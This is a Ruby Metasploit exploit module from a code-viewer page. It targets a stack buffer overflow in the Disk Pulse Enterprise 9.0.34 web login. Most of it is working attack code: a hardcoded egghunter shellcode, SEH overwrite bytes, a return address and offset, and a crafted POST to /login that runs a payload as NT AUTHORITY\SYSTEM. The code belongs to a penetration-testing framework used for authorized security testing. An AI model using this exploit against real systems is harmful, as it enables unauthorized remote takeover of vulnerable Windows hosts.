Path: blob/master/modules/exploits/windows/http/disk_pulse_enterprise_bof.rb
25329 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::Remote::Egghunter10include Msf::Exploit::Remote::Seh1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Disk Pulse Enterprise Login Buffer Overflow',17'Description' => %q{18This module exploits a stack buffer overflow in Disk Pulse Enterprise199.0.34. If a malicious user sends a malicious HTTP login request,20it is possible to execute a payload that would run under the Windows21NT AUTHORITY\SYSTEM account. Due to size constraints, this module22uses the Egghunter technique.23},24'License' => MSF_LICENSE,25'Author' => [26'Chris Higgins', # msf Module -- @ch1gg1ns27'Tulpa Security' # Original discovery -- @tulpa_security28],29'References' => [30[ 'CVE', '2025-34108' ],31[ 'EDB', '40452' ]32],33'DefaultOptions' => {34'EXITFUNC' => 'thread'35},36'Platform' => 'win',37'Payload' => {38'BadChars' => "\x00\x0a\x0d\x26"39},40'Targets' => [41[42'Disk Pulse Enterprise 9.0.34',43{44'Ret' => 0x10013AAA, # pop ebp # pop ebx # ret 0x04 - libspp.dll45'Offset' => 1260046}47],48],49'Privileged' => true,50'DisclosureDate' => '2016-10-03',51'DefaultTarget' => 0,52'Notes' => {53'Reliability' => UNKNOWN_RELIABILITY,54'Stability' => UNKNOWN_STABILITY,55'SideEffects' => UNKNOWN_SIDE_EFFECTS56}57)58)5960register_options([Opt::RPORT(80)])61end6263def check64res = send_request_cgi({65'uri' => '/',66'method' => 'GET'67})6869if res and res.code == 200 and res.body =~ /Disk Pulse Enterprise v9\.0\.34/70return Exploit::CheckCode::Appears71end7273return Exploit::CheckCode::Safe74end7576def exploit77connect78eggoptions =79{80:checksum => true,81:eggtag => "w00t"82}8384print_status("Generating exploit...")8586sploit = "username=admin"87sploit << "&password=aaaaa\r\n"8889# Would like to use generate_egghunter(), looking for improvement90egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"91egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"9293sploit << rand_text(target['Offset'] - payload.encoded.length)94sploit << "w00tw00t"95sploit << payload.encoded96sploit << make_nops(70)97sploit << rand_text(1614)98# Would like to use generate_seh_record(), looking for improvement99sploit << "\x90\x90\xEB\x0B"100sploit << "\x33\xA3\x01\x10"101sploit << make_nops(20)102sploit << egghunter103sploit << make_nops(7000)104105# Total exploit size should be 21747106print_status("Total exploit size: " + sploit.length.to_s)107print_status("Triggering the exploit now...")108print_status("Please be patient, the egghunter may take a while...")109110res = send_request_cgi({111'uri' => '/login',112'method' => 'POST',113'content-type' => 'application/x-www-form-urlencoded',114'content-length' => '17000',115'data' => sploit116})117118handler119disconnect120end121end122123124